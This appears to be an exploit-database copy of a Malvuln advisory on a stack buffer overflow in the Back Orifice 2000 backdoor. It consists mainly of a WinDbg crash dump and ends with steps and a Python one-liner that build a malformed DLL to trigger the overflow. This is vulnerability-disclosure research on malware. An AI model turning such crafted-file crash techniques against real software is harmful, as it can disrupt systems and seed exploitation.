Backdoor.Win32.BO2K.11.d / Local Stack Buffer Overflow

CVE Category Price Severity
N/A CWE-121 Unknown High
Author Risk Exploitation Type Date
Unknown High Local 2021-09-04
Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.BO2K.11.d / Local Stack Buffer Overflow
Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.BO2K.11.d
Vulnerability: Local Stack Buffer Overflow
Description: Back Orifice 2000 by Cult of the Dead Cow, stack BOF on corrupted DLL plugin import. Loading a specially crafted (DLL) file triggers a stack buffer overflow overwriting the EDX register.
Type: PE32
MD5: abc6a590d237b8ee180638007f67089e
Vuln ID: MVID-2021-0328
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 08/30/2021

Memory Dump:
(ef4.bec): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=07aa0000 edx=41414141 esi=00000003 edi=00000003
eip=76fced3c esp=0019e42c ebp=0019e5bc iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
76fced3c c21400          ret     14h

0:000> .ecxr
eax=07aa0000 ebx=00000001 ecx=07aa0000 edx=41414141 esi=00437400 edi=0019faa4
eip=00403f9a esp=0019ed4c ebp=0019ed7c iopl=0         nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210287
*** WARNING: Unable to verify checksum for Backdoor.Win32.BO2K.11.d.abc6a590d237b8ee180638007f67089e
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.BO2K.11.d.abc6a590d237b8ee180638007f67089e
00403f9a 813c1050450000  cmp     dword ptr [eax+edx],4550h ds:002b:48eb4141=????????

0:000> !analyze -v
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *

00403f9a 813c1050450000  cmp     dword ptr [eax+edx],4550h

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00403f9a (Backdoor_Win32_BO2K_11_d+0x00003f9a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 48eb4141
Attempt to read from address 48eb4141

PROCESS_NAME:  Backdoor.Win32.BO2K.11.d.abc6a590d237b8ee180638007f67089e

OVERLAPPED_MODULE: Address regions for 'iertutil' and 'audiodev.dll' overlap

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.



READ_ADDRESS:  48eb4141 

00403f9a 813c1050450000  cmp     dword ptr [eax+edx],4550h








LAST_CONTROL_TRANSFER:  from 00404754 to 00403f9a

WARNING: Stack unwind information not available. Following frames may be wrong.
0019ed7c 00404754 07aa0000 0019edb9 00000000 Backdoor_Win32_BO2K_11_d+0x3f9a
0019eeb0 004047a0 02765a20 00000000 00000000 Backdoor_Win32_BO2K_11_d+0x4754
0019eec4 004100f3 02765a20 0019faa4 00000001 Backdoor_Win32_BO2K_11_d+0x47a0
0019eee0 00410578 02765a20 0019faa4 00437400 Backdoor_Win32_BO2K_11_d+0x100f3
0019f350 00420f60 00437400 00000111 0019f390 Backdoor_Win32_BO2K_11_d+0x10578
0019f360 004210ed 0019faa4 00000003 00000000 Backdoor_Win32_BO2K_11_d+0x20f60
0019f390 0041fb67 00000003 00000000 00000000 Backdoor_Win32_BO2K_11_d+0x210ed
0019f3b4 00422d5e 00000003 00000000 00000000 Backdoor_Win32_BO2K_11_d+0x1fb67
0019f404 0042279a 00000000 000d0392 0019faa4 Backdoor_Win32_BO2K_11_d+0x22d5e
0019f480 0042274c 00000111 00000003 000d0392 Backdoor_Win32_BO2K_11_d+0x2279a
0019f4a0 004217b2 00000111 00000003 000d0392 Backdoor_Win32_BO2K_11_d+0x2274c
0019f500 004219ba 00000000 000907d4 00000111 Backdoor_Win32_BO2K_11_d+0x217b2
0019f51c 76d7e0bb 000907d4 00000111 00000003 Backdoor_Win32_BO2K_11_d+0x219ba
0019f548 76d88849 0042198f 000907d4 00000111 user32!_InternalCallWinProc+0x2b
0019f56c 76d8b145 00000111 00000003 000d0392 user32!InternalCallWinProc+0x20
0019f63c 76d8a89c 0042198f 00000000 00000111 user32!UserCallWinProcCheckWow+0x1be
0019f6a8 76d6b95b 02cafd10 00000000 000d0392 user32!SendMessageWorker+0x6ff
0019f6d0 76d85493 000907d4 00000111 00000003 user32!SendMessageW+0x5b
0019f6f8 76d84dda 02c6eaa0 00000000 00000000 user32!xxxButtonNotifyParent+0x66
0019f720 76d84240 027a4f38 00000000 02c6eaa0 user32!xxxBNReleaseCapture+0x150
0019f7b8 76d836c6 02c6eaa0 00000000 00000202 user32!ButtonWndProcWorker+0xad0
0019f7ec 76d7e0bb 000d0392 00000202 00000000 user32!ButtonWndProcA+0x56
0019f818 76d88849 76d83670 000d0392 00000202 user32!_InternalCallWinProc+0x2b
0019f83c 76d8b145 00000202 00000000 00100022 user32!InternalCallWinProc+0x20
0019f90c 76d790dc 87d9fbc0 00007ff9 00000202 user32!UserCallWinProcCheckWow+0x1be
0019f978 76d6b2ee 00000000 00442ba0 00442b98 user32!DispatchMessageWorker+0x4ac
0019f9a8 76d6b0cc 000907d4 00442b98 00442b98 user32!IsDialogMessageW+0x17e
0019f9dc 0042444a 000907d4 00442b98 0019faa4 user32!IsDialogMessageA+0x13c
00442b98 00000000 00000000 00100022 005f107c Backdoor_Win32_BO2K_11_d+0x2444a

STACK_COMMAND:  ~0s; .ecxr ; kb


SYMBOL_NAME:  Backdoor_Win32_BO2K_11_d+3f9a

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_BO2K_11_d

IMAGE_NAME:  Backdoor.Win32.BO2K.11.d.abc6a590d237b8ee180638007f67089e



FAILURE_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.BO2K.11.d.abc6a590d237b8ee180638007f67089e!Unknown

1) Create new server
2) Plugins/Configure/Plugin Configuration/insert
3) python -c "print('MZ'+'A'*10000)" > BOOM.dll
4) Load the corrupt DLL

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